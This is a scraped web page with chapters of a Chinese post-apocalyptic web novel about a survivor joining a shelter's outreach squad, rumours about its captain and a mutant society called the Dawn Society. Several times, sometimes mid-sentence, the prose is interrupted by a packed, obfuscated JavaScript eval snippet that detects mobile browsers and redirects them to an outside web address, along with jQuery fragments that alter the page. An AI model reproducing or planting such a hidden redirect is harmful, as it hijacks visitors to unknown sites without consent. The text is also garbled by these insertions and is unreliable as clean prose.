RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943306|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个身上闪烁着白光的人形生物,它盘腿坐在那里,半透明的身体里发散出经久不熄的耀眼光芒。 那是一个光灵。 陆小川无法区分地上的那些寐鬼,但他认得那个光灵。 那天晚上,个子最矮的李晨霜抱着枕头从里屋走了出来,蹲到陆小川面前小声问他:“川哥,我能不能跟你换个位子,我怕黑,可是陆月她们不喜欢睡觉时房间里有光......” 陆小川正欲起身,蔡英达却抢先道:“你都多大了,还怕黑?” 李庆跟着道:“就是,凑合凑合得了,这里是男生宿舍,你在这儿不合适。” 在那之后,李晨霜抽了抽鼻子,最后看了陆小川一眼,起身走回里屋,关上了身后的门。 《新世界宝典》上说,畏惧黑暗的人类被Y03病毒感染后会变异成一种发光的可控体,无攻击性,根据其与众不同的外形特征,取名为“光灵”。 那天临走时,陆小川打开了里屋的灯。 他知道李晨霜再也不需要这盏灯了,但出于某种于事无补的赎罪心理,他还是想在临走前,为他们做一些事。 在内心深处,陆小川明白这件事永远不会过去。 即使他从未主动回忆,但从那天起,他还是能在每一个寂静的夜晚听到螺丝陷入皮肤时的簌簌声响,深呼吸时,也能闻到浓重的、掺杂着铁锈气息的血腥气味。 他开始无法在安静的环境里入睡,于是,训练馆的篮球架成了最让他安心的角落。 他很开心楼依然可以适应这个新的世界。 至于只能留在旧世界的自己,他也并不感到遗憾。 走出梨树小区时,队员们正坐在门口等他,陆小川看了一圈,没见到楼依然,尧子悦注意到他脸上的狐疑,走过来解释道:“楼队先去探路了,她叫我们在这儿等你。” “她没事吧?”陆小川下意识问出了这句。 梁竹抢先回答:“她脸很臭,不过这很正常,怎么,你们吵架了?” 陆小川还没来得及回答,一旁的田丰嚼着饼干道:“吵架好,他俩把耳机都拔了,还没一道回来,肯定吵架去了。” 他说着走上前,伸出强壮有力的胳膊将陆小川一把搂住,对他语重心长道:“川哥,楼队长得确实标致,这点没什么好质疑的,但你听哥们儿一句劝,千万,千万不要对她动那种心思。” 跳过询问“哪种心思”的环节,陆小川直接问他:“为什么?” 注意到尧子悦警告的目光,田丰摇了摇头,“你别问,问就是诅咒,害死人的诅咒!” 陆小川挣开田丰的胳膊,“不说算了。” 他看着面色局促的尧子悦等人,假装怄气道:“不管你们心里藏的是什么事,早晚都要告诉我,我偏不急,我也不问。” 他说着拾起背包,招呼大伙上路,尧子悦却叫住他:“等等,林乐声还没回来。” 那时,陆小川才意识到林乐声也不见了。 五分钟后,头戴贝雷帽的男人从街角气喘吁吁地跑了过来,手里提着一个黑色塑料袋。 陆小川好奇地张望过去,问那里头装的是什么,那时,林乐声大汗淋漓的脸上却露出了一个与年纪不甚相符的青涩笑容。 “是他的宝贝,回去你就知道了。” 尧子悦背上火箭筒,步伐轻快地上了路。 8. 第一次任务(7) 追随楼依然的路上,陆小川心里依然有些过意不去。 “不好意思啊,因为我,耽误大家吃饭了。” “没事儿!”田丰举起威化饼干,“我们都吃过了,反正晚饭也好不到哪儿去。” 陆小川一笑,转头看向身边的梁竹,“竹子,我把面馆的门打开了,里面有六只寐鬼,一只光灵,都是可控体,不会出什么岔子吧?” 竹子眼睛霍地一亮:“光灵?光灵是个好东西啊,可惜它们不爱走路,不然捉上一只带在身边,晚上连照明设备都省了!至于寐鬼,那东西就更不用操心了,假以时日,它们总会爬到坑里去的!” 夜色逐渐降临,晚风阵阵吹过,众人有一搭没一搭地聊着闲天,将陆小川的心情也带着愉悦起来。 队员们起哄叫陆小川猜林乐声在旧世界的职业,编导、老师、摄影师,这些都不对,到头来,他竟是个天天坐在办公室敲代码的程序员,尧子悦的职业更是离谱,她先前是幼师。 “所以我真的蛮喜欢新世界的生活。” 迎着清风,尧子悦感慨道:“多亏了末日,像我和乐声这种人才能换一种活法......其实,我一点儿也不喜欢小孩儿,是家里人逼着我考了幼师资格证,因为他们觉得这个职业稳定。” 林乐声接着她道:“我也不喜欢代码,不过没人逼我,是我自己想不开。” 他说着和尧子悦相视一笑,陆小川看着他们,在两人的目光里觉察出一种绵长的温柔。 陆小川偷笑着转过了头。 在接下来的两个小时里,他跟随楼依然处理了警备区剩余的两只B02。 再度靠近楼依然,陆小川发觉内心无比平静,两人一路无言,处理第二只B02时,楼依然突然侧过身子,示意陆小川上前试试。 于是他学着楼依然的样子,一边缓慢靠近一边观察对方的反应,直到终于迈出关键的那一步,B02咆哮着朝他猛扑过来,陆小川便疾速后退,看着停留在领地边缘恶狠狠注视着自己的B02,背对着楼依然伸出了手。 等待过三秒手中却依然空无一物时,陆小川转过身,发现楼依然正试图将拔出来的枪插回去。 “很担心我嘛,楼队?” 陆小川忍不住开了个玩笑。 楼依然瞪了他一眼,而后不情不愿地递上黑管,站在一旁看陆小川动作熟练地拉开防护带。 “你很适合这项工作。” 走出那间停车场时,楼依然对他说:“陆小川,你该学着接受新世界。” “我接受不来。”陆小川不带一丝犹豫,“楼队自己享受这个世界就好,不必带上我。” 两小时前,他已决定彻底与楼依然划清界限,而根据田丰那段意味不明的警告来看,这也是目前最正确的选择。 “可你已经在这儿了。” 楼依然却说:“你已经接受了13号避难所的分配,加入了外联队。” 那一刻,陆小川决定不再陪她演下去。 如果这只是楼依然热衷的某种暧昧游戏,事到如今,他已丧失了兴致。 “所以这就是你的目的吗?” 他转过身,用尽量柔和的语气问:“你自己享受这个世界还不够,非要把我也拉下水?” 楼依然站在原地,花费片刻消化过陆小川刚刚的话,看着那张罕见的严肃面孔眨了眨眼,问:“你什么意思?” “调任令。”陆小川有气无力地抬起手,指向自己,“我,38号避难所民用部人力班编号0328陆小川,何德何能请得动13号避难所亲自下达调任令?” 楼依然的茫然冻结在脸上,神色之困惑竟不像是演出来的。 “13号避难所在Y市......”她语带犹疑地问:“你在那里......没什么亲人或朋友吗?” “没有......吧。” 受楼依然影响,陆小川一下子也没了底气,“选我作副队,难道不是你的主意?” 楼依然蹙眉,语气变得焦急,“调任令是通信部编号0279的通信员亲自送来的,当时所长也在,你不信可以自己去问他!” 思绪混乱之际,陆小川留意到楼依然左手捏住耳麦的动作,心上顿时凉了半截。 他当下反应过来,他们的对话正被另外六名外联队员实时监听。 楼依然固然狡猾,但陆小川并不认为她会为了留住他而费心粉饰一个谎言,但同时,楼依然也是他见过最傲慢的人,为了一己私欲破例招纳副队这种事,她绝不会在外人面前承认。 陆小川长叹一声转过身,暗骂自己又一次挑错了时机,楼依然却跟了上来,喋喋不休地追问他道:“你在Y市没有亲人或朋友,那仇人呢?或者,你得罪过所长吗?那副所长呢?” “陆小川,这很重要。” 她又一次拔掉自己和陆小川的耳机线,盯着他强调:“如果他们是出于恶意才将你安插进外联队的,那么不只是你,外联队的所有成员都可能面临风险。” 陆小川无奈停下,歪头看向她:“楼队,我可以很肯定地告诉你,我没有得罪过任何人。” 虽然有些难以启齿,但他的好人缘似乎是天生的。 从小到大,哪怕他从未刻意为之努力,校门保安也愿意破例为他开门,球场上被他完虐百遍的对手事后依然会喊他“川哥”,被他拒绝过的女生也绝不会在外说他一句坏话。 爷爷将他这种特质称作“人格魅力”,蔡英达的说法则更为抽象,他管这东西叫“磁场”。 因此陆小川可以肯定,无论是什么人出于何种目的将他塞进这只外联队,其初衷都不可能是要害他。 返回集合点后,队员们看向陆小川的目光有些意味深长,神情中有某种强装出来的自然,让陆小川觉得很别扭,这种别扭一直持续到他们爬上了山、楼依然离开营地。 坐在山头朝下望去,整座Z市被墨色夜雾所笼罩,没有万家灯火,也没有袅袅炊烟,四周静籁非常,只剩柴火燃烧时的窸窣脆响,以及锅水烧开时“咕嘟咕嘟”的动听音律。 或许是面前的篝火实在温暖,处在如此安静的环境里,陆小川竟久违地感到自在。 等候晚饭时,林乐声抬手一指,“看到远处那片星海了吗?那就是我们的家,38号避难所,至于山下那些忽明忽暗、像萤火虫一样的光点,就是光灵。” “星海”,“家”。 陆小川很喜欢林乐声对38号避难所的形容。 在此之前,陆小川却从未将那里想象成家。 他一直觉得自己的家是距离Z市12公里的那座小渔村,家中有年迈的奶奶、一艘老旧的渔船和唠叨不休的姑姑,但事实上,38号避难所已经成了他的家,那是他和C区同胞用双手夜以继日搭建而成的末日堡垒,也是两年来他寸步不离的地方。 “所以,欢迎川哥来到新世界,也欢迎你加入外联队!” “砰”地一声,随着梁竹拉开啤酒罐的拉环,一场为陆小川特别准备的入队仪式正式开始。 陆小川笑着接过大牛递来的啤酒,对着瓶身欣赏了好一阵子。 “早说加入外联队还有这种福利,我两年前就报名了!” 他说完仰头闷下一大口,酣畅地呵出一口长气。 季小晴立马比出一个噤声的手势:“低调点,这可不是官方福利,这是我们刚刚从附近的超市里偷出来的!” 齐思远接着道:“加入外联队就这点好,说出来也不怕丢人,我们整天出生入死的,还不能有点无伤大雅的小癖好了?” 一堆人插科打诨时,梁竹为他们一一递上白粥和榨菜,陆小川刚举起粥碗,梁竹又坏笑着、压低嗓音用夸张的语调模仿出那句——“楼队自己享受这个世界就好,不必带上我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943307|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 六个人笑得前仰后合,陆小川耳根默默升温。 “真的,川哥。” 梁竹拍着大腿道:“我入队快一年,敢这么和楼队说话的,你还是头一个!” 陆小川调侃:“我看你们憋得很难受嘛。” “何止是难受,”田丰嚼着榨菜,“都快抑郁了!” 陆小川顺势问:“所以你才叫我不要对她动那种心思?” “这个一言难尽。” 田丰似乎也不想再隐瞒:“楼队手上握着外联副队的决定权,但她有个习惯,只挑男人作副队,而且都是......额......” “你就直说呗!”梁竹爽快抢过话头,“都是对她有意思的男人!” 她说着环视四周,而后倾身向前,凑近陆小川道:“叶巡、刘仁、李文强、许景睿......” 梁竹掰着手指头念完这些名字,然后抬起头问他:“这些名字,你都有印象吧?” 陆小川在记忆中搜索了一会,“他们都是在任务中牺牲的外联队员吧?” 梁竹却撇着嘴晃了晃食指:“不只是队员哦,他们都是副队,而且都是,暗恋楼依然的男人!” 尧子悦在旁插话:“竹子,也别说得那么绝对吧。” “这有什么绝对?”梁竹不以为然。 “叶巡就不用说了吧?他花都送了,还是旧世界情人节那天,刘仁,出任务的时候你们见过他离开楼队超过三步吗?还有李文强,咱们在耳机里都听得清清楚楚,他在抓狗的时候问楼队谈没谈过恋爱......” “那许景睿呢?”尧子悦反驳:“我看他和楼队之间还算正常啊。” “那小子,那小子最明显了!” 梁竹一拍大腿,“他大半夜跑过来问我知不知道楼依然的生日,这还不明显?” “生日怎么了?给队员庆生难道不是很正常?” “那当时你也是单身,”梁竹指着尧子悦文:“他怎么不关心你的生日?!” “竹子你太夸张了,照你这么说,所长经常找楼队喝酒,他也是暗恋楼队咯?” “不然呢?” 两人争执不下之际,陆小川打断了她们:“所以这一年以来,外联队里牺牲的都是男性副队,而且都是在你们看来对楼队有那种意思的男人?” “真正的重点不是有那种意思。” 田丰语重心长:“真正的重点是,这些人都是被楼队亲自选为副队的,他们牺牲时,在场的也只有楼依然一个。” 这段话里,田丰着重强调了“亲自”和“只有”这四个字。 陆小川挑眉点了点头:“所以你们怀疑,楼队在选拔副队时刻意挑选对她有好感的男性队友,以便遭遇险情时,能让这些人替她去死?” 以楼依然对外展示出的性格和人品来看,这种猜测确实不无道理。 然而,陆小川问出这个问题后,众人却沉默了很久。 他们都明白,即使是在弱肉强食的新世界,这项指控也十分严重,其中牵涉的不止有楼依然的清白,还连带着四条人命。 最后还是田丰打破了沉默。 他低着头,含糊不清地嘀咕了句,“人人都知道,失控体凶残又嗜血,它们会率先攻击受伤的猎物,那也是幸存者发动致命一击最好的机会。” 那一刻,陆小川终于理清了思绪。 他看向梁竹和尧子悦,语调松弛道:“所以今天一早,你们是在避难所门口打赌,赌我能活多久?” 尧子悦立马移开目光,局促不安地扭了扭身子,梁竹倒是坦荡,她直起腰板点了点头,对着陆小川举起了啤酒。 “川哥,我可对你寄予了厚望!我本来赌你能活三个月,但见识过你的魄力之后,我现在改了主意。” 梁竹高举酒罐,目光如炬。 “我现在觉得你能活半年!” 9. 第一次任务(8) 酒过三巡,楼依然仍不见踪影。 跳跃的火光烘烤在尧子悦脸上,映得她两颊绯红。某一刻,她突然放下啤酒凑近了陆小川,对他喃喃道: “不管那通调任令究竟是怎么回事,我都发自内心地、感谢你的出现。” 尧子悦嘟着嘴,身体微微摇晃着,抓住了林乐声的手。 “因为如果没有你,我们都觉得,被选中成为副队的会是乐声。” 林乐声扶住尧子悦的肩膀,语气柔和:“子悦,你喝多了。” 陆小川对他们笑了笑,不知该作何反应,只能故作轻松地说:“我倒觉得还好,今天那四只B02都很好对付,不过你们都是前辈,见过的失控体肯定比我多,都说说看吧,最可怕的是什么?” 他说着指向田丰,“大牛,就从你开始吧!” 田丰却忽而怔住,眨着眼看向了梁竹,陆小川摸不清状况,只能跟着他看过去。 梁竹沉默了一会,忽地一歪头,讲起一则围炉故事。 “川哥,你知道一年半前那场惨绝人寰的外联事故吧?” 陆小川很快点了点头。 当时他和楼依然刚进入避难所没多久,听说她进入外联队去了墙外,陆小川的心一连几日都提在嗓子眼,任务结束那天,他早早守在避难所门口,想要第一时间确认楼依然是否平安。 大门打开时,迎接的居民簇拥着挤成一团,陆小川翘首望去,远远看到楼依然骑着那台破旧的绿源电摩抵达安检处,身上没有背包,只有一件沾满泥土与血迹的黑色制服。 那天,活着回到38号避难所的只有楼依然一个,也是因此,刚刚进入外联队不久的她一跃升为队长,梁竹、田丰等人也是在那之后才加入外联队的。 “据说他们当时遇到了B07号失控体巨熊,所有队员都被踩死了,只有楼依然及时跑回弃车点,骑着电摩逃了回来,所以...... “我们当中没人直面过怪物。” “哈?” 陆小川以为自己听错了。 “是真的。” 林乐声接过话头:“竹子说得没错,我和子悦或许在望远镜里见过失控体几次,但我们这些人都没和怪物正面交锋过,除了你,和楼队。” 林乐声说完,自嘲一笑。 “除了预备役成员,外联队一共只有三个小组,楼队的先遣组负责秘密潜入任务点探查失控体,竹子和大牛所在的补给组负责准备清理失控体所需的武器、诱饵,必要时需进入现场营救,而我和子悦所在的后援组,则负责远程观察、狙击目标,必要时进入现场支援...... “但说来可笑,一年来,我们从没经历过这种‘必要’。 “楼依然就像一面墙,把我们和那些可怕的怪物分隔开了,哪怕对于外联副队的诅咒从未停止,楼依然,作为外联队内的不死星、实至名归的金牌队长,她却从来没给那些怪物接近我们的机会,在那些只有她经历过的战斗里,死的要么是失控体,要么就是副队,而楼依然本人,连血都未曾流下过一滴。” 陆小川微微眯起双眼,不可置信道:“你是说,她连伤都没受过?” “是啊!” 梁竹抱紧膝盖,对着夜空大声感慨了句:“这就是楼依然,大名鼎鼎的不死星,整个38号避难所最强悍的女人,就算在一年半前那场几乎让外联队全军覆没的事故里,楼依然返回避难所后,身上也没有一处伤口。” 梁竹看向陆小川,嘻嘻笑了声。 “所以我们常常调侃楼队是隐形的,那些怪物一定看不见她,不然的话,这个世界上怎么会有这么幸运的人?” 说到受伤,陆小川突然想起两个小时前,楼依然钻过停车场外的铁丝网时似乎划伤了手指。 他在《新世界宝典》上看过,如今大气中的Y03病毒虽已消散,但仍有大部分携带病毒的变异体在废土上横行,因此,一旦在墙外受伤,需尽快注射C3抑制剂以免伤口感染,而他返回队伍后只顾着和队员们聊天,竟忘了这码事。 担心引起队员们的恐慌,陆小川没多声张,只是蹲到梁竹背包前翻出了一盒C3试剂揣进怀里,起身朝林子里走去。 “楼队离开太久,我去看看她。” 陆小川走得太快,梁竹甚至都来不及叫住他。 她和一旁的田丰交换过眼神,举起酒罐碰了下。 “或许我们都搞错了,不是对楼队有意思的男人才能成为副队,而是成为副队的男人,都会对楼队产生那种想法。” 田丰只是耸了耸厚实的肩膀,“没办法,谁叫那是楼依然呢,要不是我有自知之明,就算会被怪物吞到肚子里,死前也想和她试试。” 梁竹一脸嫌弃地翻了个白眼。 行走在幽深阴暗的密林中,陆小川握紧发带,打开了照灯。 梁竹刚刚的话让他不禁联想到了两年前在荣华面馆发生的事,同样的惨绝人寰,同样的毫发无伤,同一个幸存者——楼依然。 难道,这一切真的就只是因为幸运吗? 早些时候,她那段话算是承认了吗?她之所以能活下来,真的是因为她出卖了他们吗?在那些只有她在场的任务里,副队的死亡,又真的是她计划的一部分吗? 楼依然当然不是隐形的。 今天下午,他一次又一次见证着B02对她吐出獠牙,面对失控体,她从来都是冲在最前头,当他触及地头蛇领地时,楼依然也是第一时间就拔出了腰间的枪。 还有…… 「陆小川,这很重要。如果他们是出于恶意才将你安插进外联队的,那么不只是你,外联队的所有成员都可能面临风险。」 说出这句话时,他从楼依然脸上觉察出一种罕见的紧迫。 很明显,她是在意其他队员的。 楼依然是厌世又傲慢的自私鬼,但她不会允许自己伤害到旁人。 大学四年,他观察了她整整四年,他很清楚楼依然是什么样的人,她或许在一定程度上隐藏了自己的魄力与野心,但一个人的本质,无论在旧世界还是新世界,都不会改变。 在丛林中找到楼依然时,她正用小刀在树桩上刻着什么。 觉察到不远处的光线,她立马收起小刀,警觉地望了过来。 “你在做什么?”陆小川在那棵树前蹲下,照灯照上去的那一刻,他又看到了那块熟悉的蜥蜴涂鸦,只是,或许是为了让涂鸦看上去更加显眼,这次的喷漆变成了白色。 “你来做什么?找我吗?” 楼依然开始低头收拾脚边的东西,陆小川注意到其中有只针管,他伸手想夺过来,楼依然却抢先将手背了过去。 “那是什么?C3试剂吗?你受伤了对不对?” 他说着拽过她放在膝盖上的左手,朝她早些时候受伤的手指看过去,但那里什么都没有。 “受什么伤?” 楼依然有些埋怨地看向他,缓慢抽回了左手,“我手上没受伤,你看错了。” 陆小川不死心地攥住她的手腕,一把撸起她的袖子。 除了今天的伤,他还有其他的事情想要确认。 那条小臂洁白而光滑,但在照灯的明亮光线下,他还是不难留意到她臂侧那一道道爪痕状、浅粉色的细长伤疤,陆小川的心像是被什么揪了一下,短暂地犹豫后,惭愧随即袭来。 他长吸一口气,放开了楼依然的手。 楼依然当然会受伤,她只是不愿示弱,习惯性逞强,就像荣华面馆的那些个晚上,她只会躲在后厨,一边刷碗一边安静地掉眼泪。 但在那些人眼里,她的逞强却成了一种强硬,一种以血泪为代价的幸运。 为了不让楼依然察觉到自己莫名其妙的伤感,陆小川关上照灯,低头说:“那......既然你没有受伤,你注射的是什么东西?” 楼依然却将袖口理好,理直气壮道:“C3啊,我手上没伤,但其它地方伤了,在不怎么方便的位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943308|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怎么,你要看吗?” 楼依然说着拉开上衣拉链,扯着前襟就要向陆小川展示,逼得陆小川只能后退两步,摆手说“不用了”。 “我们回去吧。” 他说,“你离开太久,队员们都很担心。” 楼依然只是冷笑了声:“陆小川,你说谎的时候真的很明显。” 返回营地的路上,楼依然依旧捧着那只平板,目不转睛地盯着上头的光点。 她显然知道队员们的不务正业,因此只能将监测失控体的重任扛在自己肩上,陆小川看着她,忍不住问了一句,“你为什么不去一起喝酒?” “我不喜欢喝酒,因为我不会醉。” 楼依然想都不想地答道。 “那是因为你喝得不够多。” 陆小川道:“而且,就算你不喜欢喝,也可以呆在那儿和我们一起聊天啊,大学的时候你就总是一个人,楼依然,难道你是社恐?” 楼依然抬起头,反问他道:“你觉得呢?” 陆小川没再说话,过不多久,在那片漫长得看不到边界的黑暗里,他听到她闷声说了句: “如果我在,他们就什么都不会说了。” 至于那块诡异的蜥蜴涂鸦,进入废土的第二天,陆小川终于搞清了它的含义。 第二天午休,在监测完下一个警备区、准备返回避难所前,梁竹和田丰在陆小川的带领下,拐过三条蜿蜒的小巷,来到了一面墙前。 “就是这个。”陆小川指着那块他好不容易找到的涂鸦问他们道:“这只蜥蜴,还有上面的坐标跟符号,到底是什么意思?” 梁竹和田丰对视一眼,低声说出了那三个字。 ——“黎明会。” “其实这些你早晚都要知道,在新世界,最可怕的不是可控体或失控体。 “可控体的代号是字母C,失控体的代号是字母B,而你在《新世界宝典》上应该也看到了,在特殊变异体那一页,有两个代号为字母A的变异生物,他们,就是支配体。” 那一刻,陆小川的好奇心膨胀到了极点。 失控体的危险性远高于可控体,所以按理来说,代号A的支配体,理应比失控体更危险。 “那这些支配体,究竟是什么?” “支配体是保留了人类意志、拥有超常能力的变异体。” 田丰沉声回答:“类似于我们在旧世界电影里看到那些的超级英雄、变种人。” “就像蜘蛛侠?凤凰女那些?” 梁竹点了点头,神色凝重:“他们在废土上建立了一个组织,名叫黎明会,自诩为‘新世界的曙光’,这个蜥蜴涂鸦便是他们的招募标识,坐标显示的地点,是他们用于接收入会者申请的秘密据点。” 想到两天来楼依然对涂鸦的特别关注,陆小川不禁想入非非,但下一刻,梁竹的话直接打破打断了他的猜想。 “楼队一直都很关心黎明会的动向。”梁竹说:“虽然追踪他们是各大枢纽避难所军团的职责,外联队无需插手,但毫无疑问,黎明会就是我们这些幸存者在新世界最大的敌人。 “他们人数众多,而且会内每个支配体都拥有强大的异能,其实,按照如今避难所的科技和军事实力,想要彻底清除废土上的失控体并不难,但就目前而言,人类科技在支配体的异能面前,可以说是毫无胜算。 “这两年来,黎明会一直在与避难所军团作对,各大避难所的领导部门都认为,只有消灭了他们,幸存的人类才能在废土上重新发展出闪耀的文明,但那些支配体显然不这么认为,他们认为自己才是高人一等的生物,是新世界的主宰...... “所以,黎明会一日不除,避难所内的居民就没办法走出那堵高墙,回归曾经的家园。” 注视着那只蜥蜴,梁竹的神情逐渐变得阴冷。 耳机里传来楼依然的集合口令时,梁竹盯着陆小川,一字一顿道: “他们,才是真正的怪物。” 10. 乔迁(1) 得知支配体的存在后,陆小川总算明白了避难所内一年一度的“健康体检”是怎么回事。 按照梁竹的说法,支配体在外形上与普通人类没有任何差别,他们可以自由控制自己的异能,一些支配体在能力觉醒前甚至都不知道自己体内存在Y03病毒,因此,只有血液检查才能将他们从幸存者群体里区分出来。 “我听说有些支配体是在末日发生后的几周甚至几个月后才发生变异的,在那个时间点,他们中有不少人都已进入附近的避难所,加上末日发生后的半年内,Z市空气中的末日病毒尚未消散,一些避难所居民受伤后不注意消毒防护,也可能感染成支配体,38号避难所好像就检验出过一个......” 返回集合点的路上,听尧子悦说到这儿,陆小川立马插上了话。 “他叫什么名字?”他问。 尧子悦却摇了摇头,说不知道。 在陆小川的印象里,C区人力班确实发生过一起离奇失踪事件。 失踪者是一位热心肠的中年大哥,他工作勤恳,性格豁达,常常将盒饭里的鸡翅让给其他年轻人,他最常说的一句话是“这样不愁吃喝的日子真好”。 去年,他在一次工地事故中被砸伤了右腿,两周后,健康检查结束的第三天,他突然就消失了。 大哥失踪后,同院的C区弟兄向街道巡警求助,得到的解释却是:他翻墙逃出了避难所。 然而,包括陆小川在内的一众人力班成员都清楚,那位失踪的大哥有多么热爱避难所里的生活。 他们不接受巡警给出的解释,却也无力探查真相,只能用那句传颂至今的新世界箴言安慰自己——“能活着,就已经很好了。” 想到这儿,陆小川追问:“如果有避难所居民被判定为支配体,他们会被怎样处理?” 尧子悦再次摇了摇头。 林乐声坦言:“除了枢纽避难所,有关支配体的情报在剩余避难所均被列为一级机密,在38号避难所内,也只有所长和通讯部对他们有一些了解,而枢纽避难所之所以下令封锁有关支配体和黎明会的全部信息,就是为了防止幸存者产生恐慌...... “毕竟,幸存者中有不少都可能是支配体在旧世界中的家人、朋友,一旦知晓支配体的存在,他们或许会选择逃离或对抗,进而在避难所内引发骚乱。” 尧子悦接着他说:“但你也看到了,废土上到处都是黎明会的招募涂鸦,外联队很难不注意到这些,所以楼队去问过所长,得到的信息也只有只言片语,说联合军团正在全力寻找黎明会的基地,研发针对支配体的强力武器…… “至于避难所内筛选出来的支配体会被送至何处,如何处理,这些事恐怕连所长都不清楚。” 当晚,陆小川带着墙外新鲜的空气和对新世界的诸多好奇回到了那间熟悉的十五平宿舍,而后对着天花板发了一整晚的呆,纠结究竟要不要搬去B区。 对于C区大部分居民而言,这样的机会都是求之不得的。 搬去B区,不仅能享受到50平米的单人开间,独立卫浴,还能在落地窗前欣赏到半年前陆小川亲手开掘的那片人工湖。 或许是从小生长在小渔村的缘故,陆小川一直盼望着能住在一处睁眼就能看见海洋的地方,就算没有海,一座直径一公里的人工湖也是可以接受的。 他唯一顾虑的是,相比争吵与电钻声不绝的C区,B区的夜晚实在太过安静,他很可能无法安睡。 并且,他毕竟是外联队的插班生,入队渠道不算公平正当,很难心安理得地抛弃两年来朝夕相处的工友,独自去享受队内福利。 但到了第二天,工友和队员们的热心却没给他纠结的余地。 第二天清早,四号院201宿舍的房门便被敲响了。 邻屋的陶野睡眼惺忪地打开门,一众C区居民便蜂拥着挤进陆小川的房间,争相恐后瓜分起他屋内寥寥无几的生活用品。 陆小川担心大家在抢夺中受伤,只得扯起嗓门维持秩序,让他们按照进屋顺序在门外排起长队,依次报出自己最想要的东西,由他亲自按需分配。 三号院的刘大娘拿走了他仅剩的一卷厕纸;隔壁的李大哥跟他交情颇深,因此有幸得到了那只生锈的唐老鸭保温杯。 一楼小姑娘满意地抱走了陆小川从居民交易市场用20枚幸运币买来的碎花棉被;七号院总和他借弹珠的男孩刚刚考上科研部学院,陆小川于是自作主张,将唯一没被他涂过鸦的笔记本送了出去。 至于不久前才谈上恋爱的陶野,为了向他表示祝福,陆小川贡献出了那只在避难所内千金难求、马上就要过期的小雨伞。 回想起来,那只小雨伞还是两年前屠杀发生后,陆小川背着楼依然在路过的超市里顺手拿的。 毕竟那些天她的行为着实叫人捉摸不透,陆小川担心自己会把持不住。 杯子、餐具、篮球、弹珠、漫画、牙刷、甚至内裤。 C区居民们来者不拒,并且,为了表达谢意,他们集体送上了那只写有陆小川大名的“C区之星”易拉宝,希望陆小川在搬入B区后能够不忘来路,常回家看看。 居民们走后,陆小川望着空空如也的宿舍,明白自己的选择已经不多了。 临走前,他搬来梯子,为三号院门前的那盏路灯更换了灯泡。 在一众居民的喝彩与掌声中,陆小川一手提着易拉宝,一手拿着电风扇和一袋衣物离开了C区,挥着手转过身时,已然热泪盈眶。 正如林乐声所说,即使不愿承认,那座污水横流、叫骂与争吵声不绝的C区大院也早已被他当成了末日后的新家。 也多亏了这些吵闹的邻居,才叫他得以克服丧友的伤痛、捱过一个又一个漫长而寂寞的夜晚。 但那只电风扇是无论如何也不能赠予他人的。 毕竟,今后每个辗转难眠的夜里,他都要靠它来助眠。 临近B区,陆小川远远便瞧见了等在门口的四名外联正式队员。 作为乔迁礼物,梁竹怀里抱着两盆绿植,田丰拿来了一箱避难所内难得一见的方便面,尧子悦兴致高雅,送上了陆小川在旧世界都没用过的香薰蜡烛,林乐声的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943309|177460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼物最是贵重,他竟然拿来了一只音响! 接下来的几天,陆小川对那只音响爱不释手,如果早知道会收到这东西,他就不必费力搬来电风扇了。 陆小川走近后,梁竹看着他手中的行李张大了嘴。 “就这些吗?” “就这些。” 陆小川流着汗笑道:“剩下都被抢了。” 好在分配给陆小川的4号楼7层单人公寓一早配置好了基本的生活用品,水、卫生纸、床单被罩、速食罐头等一应俱全,摆上易拉宝和队员们送上的乔迁礼物,陆小川满意地站在那扇光洁明亮的落地窗前,对着碧色的人工湖抻了一个懒腰。 他打开音响,循环播放起林乐声U盘里的旧世界金曲,枕着午后的阳光舒舒服服睡了一觉。 第二天是一年一度的健康体检。 抵达现场后陆小川才知道,相比只能在烈日下暴晒的C区居民,B区居民在排队时可以享受到帆布凉棚下的塑料板凳,这让他很难想象到A区居民体检时的待遇。 后来尧子悦解答了他的疑惑,她说A区居民并不需要出门,医疗组会在指定时间上门,毕竟那些人日理万机,是避难所真正的“英雄”。 相比之下,更让陆小川震撼的则是外联队员的薪酬。 放在往日,他辛苦搬砖一整天也只能赚到30枚幸运币,但外联队一次出勤就能收获五百。 